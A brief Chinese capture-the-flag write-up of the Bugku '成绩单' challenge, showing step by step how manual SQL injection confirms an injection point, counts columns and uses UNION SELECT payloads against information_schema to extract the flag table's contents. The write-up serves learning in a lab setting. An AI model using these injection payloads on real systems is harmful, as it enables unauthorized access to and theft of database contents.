bugku 成绩单

看起来像是SQL注入,先来试试。

输入1,2,3显示的是三个人成绩。

来试试是否存在注入。

输入1,正常。输入1' 错误。输入1’#正常,说明存在注入点。

首先来看下有几列从1开始试,1’ order by 4#正常,1’ order by 5#错误,说明有五列。

接下来开始使用联合查询,首先将id=-1,先手遍历一下看一下那几个表有回显:

 发现这四个表都有回显,然后开始爆破表名。

 得到数据库名skctf_flag,接下来爆表名:id=-1'union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()#

得到两个表名 fl4g,sc  看起来fl4g像是存放flag的表,接下来开始爆字段:id=-1'union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六进制进行加密。

 得到字段skctf_flag,开始获取flagid=-1'union select 1,2,3,skctf_flag from fl4g#

 得到flag。

虽然现在工具很多,而且功能很强大,但是手注是基础,对我们理解sql注入的原理有很大的帮助,能手注还是尽量要手注的。

原文地址:https://www.cnblogs.com/lzlzzzzzz/p/11681309.html